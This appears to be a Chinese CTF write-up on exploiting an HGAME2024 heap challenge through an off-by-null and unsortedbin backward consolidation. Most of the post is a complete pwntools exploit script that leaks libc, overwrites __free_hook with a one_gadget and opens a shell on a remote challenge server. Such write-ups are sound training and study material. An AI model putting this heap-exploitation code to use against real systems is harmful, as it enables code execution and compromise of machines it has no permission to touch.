Glibc Heap Exploit 坐牢笔记 - 0x07
[HGAME2024]Unsotredbin向前合并 + Off-By-Null
题目简述
来自HGAME2024 - Week3
给了add delete show的功能,edit在add的时候就进行了。 add函数在edit的时候会在写入内容末尾的下一个字节写入\x00,只可以引起Off-By-Null。 堆块大小限制在0xff及以下。 delete把tabel的地址清零了,因此没有UAF,show也无法leak被free的chunk。
思路
1
Off-By-Null可以缩小chunk的大小,也可以把PREV_INUSE设为0,从而在构造好的条件下触发chunk的合并。 限制是0xff的大小,chunk的size范围是0x110以及以内,由于小于0x100的size在Off-By-Null之后size会被设置为0,因此我们可以把0x110的chunk缩小为0x100 因此如果我们把一个chunk的size缩小,把被去掉的那部分伪装成fake-chunk,那么我们就能在不触发原本chunk之后的chunk修改prev_size的条件下对这个chunk进行分割,再触发后面的chunk的向前合并,从而造成Overlapping 利用Overlapping,我们可以利用UAF的思想leak libc,那么修改hook也就不难了
但是! 问题在于我们不易得到这样一个既能触发堆缩又能实现Off-By-NULL的chunk。于是采用一种新方法。
2
大致思路和上面差不多。改变的是我们不利用堆缩再切割的方式得到overlapping的chunk,我们直接add几个chunk,直接把最后一个chunk的prev_size改成这几个chunk的size的总和,同时把PREV_INUSE改为false,那么就能在不free中间的chunk的条件下得到overlapping的chunk。 :::primary 如果要触发一个chunk的向前合并,我们一方面要伪造prev_size和PREN_INUSE,另一方面我们要把addr-prev_size地方的chunk的fd,bk伪造了,这样才能通过Ulink以及其他的检查。 ::: 在EXP中,我们把7,8,9,10号chunk合并了,其中7,10处于free状态,8,9没有free,于是我们通过add我们可以直接得到两个chunk之间的部分重叠,于是就能泄露libc基址并修改Tcache chunk的fd为hook,从而修改hook,GET SHELL…
EXP
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
#patchelf --set-interpreter ./ld --replace-needed ./libc ./pwn
from pwn import*
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
pwn = './1`'
p=remote('139.196.183.57',31460)
# p=process(['./ld-2.27.so', pwn], env={"LD_PRELOAD":'./libc-2.27.so'})
# p=process('./1')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# puts("1.Add note");
# puts("2.Show note");
# puts("3.Delete note");
# puts("4.Exit");
# printf("Your choice:");
def add(idx,size,con):
p.sendlineafter("Your choice:","1")
p.sendlineafter("Index:",str(idx))
p.sendlineafter("Size:",str(size))
p.sendlineafter("Content:",con)
def show(idx):
p.sendlineafter("Your choice:","2")
p.sendlineafter("Index:",str(idx))
def dele(idx):
p.sendlineafter("Your choice:","3")
p.sendlineafter("Index:",str(idx))
def cleart():
add(0,0xf8,p64(0xdeadbeef))
add(1,0xf8,p64(0xdeadbeef))
add(2,0xf8,p64(0xdeadbeef))
add(3,0xf8,p64(0xdeadbeef))
add(4,0xf8,p64(0xdeadbeef))
add(5,0xf8,p64(0xdeadbeef))
add(6,0xf8,p64(0xdeadbeef))
# add(7,0xf8,p64(0xdeadbeef))
def fillt():
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
dele(6)
cleart()
add(7,0xf8,b'a')
add(8,0xf8,b'a')
add(9,0xf8,b'a')
add(10,0xf8,b'a')
add(11,0xf8,b'fangzhihebing-fuckccf')
fillt()
dele(9)
cleart()
add(9,0xf8,b'a'*0xf0+p64(0x300))
fillt()
dele(7)
dele(10)
cleart()
add(7,0xf8,b'a')
show(8)
p.recv()
addr=u64(p.recv(6)+b'\x00\x00')
base=addr-(0x7fdde95ebca0-0x7fdde9200000)
print(hex(base))
free_hook=base+0x03ED8E8
one=base+0x4f302
# fillt()
# add(12,0xf8,b'fake-8')
# dele(9)
add(12,0x78,b'fuckccf')
add(13,0xf8,b'a'*0x70+p64(free_hook)+p64(0x101)+p64(free_hook)+p64(0))
dele(9)
dele(13)
add(13,0xf8,b'a'*0x80+p64(free_hook)+p64(0x101)+p64(free_hook)+p64(free_hook))
add(9,0xf8,b'/bin/sh')
add(14,0xf8,p64(one))
dele(9)
# gdb.attach(p)
# add(0,0xf8,b'a')
# add(1,0xf8,b'b')
# dele(1)
# dele(0)
# add(0,0xf8,b'a')
# add(1,0xf8,b'b')
# show(0)
# gdb.attach(p)
# cleart()
# add(9,0x10,p64(0xdeadbeef))# prevent hebing
# fillt()
# dele(0)
# cleart()
# add(0,0xf8,(p64(0)+p64(0xf1)+p64(11)+p64(1)).ljust(0xf0,b'\x00')+p64(0xf0))
# # dele(1)
# add(10,0xf8,b's')
# add(11,0xf8,b's')
# add(12,0x10,p64(0xdeadbeef))# prevent hebing
# fillt()
# dele(10)
# dele(11)
# dele()
p.interactive()
# 0x4f29e execve("/bin/sh", rsp+0x40, environ)
# constraints:
# address rsp+0x50 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv
# 0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# address rsp+0x50 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, r12, NULL} is a valid argv
# 0x4f302 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv
# 0x10a2fc execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv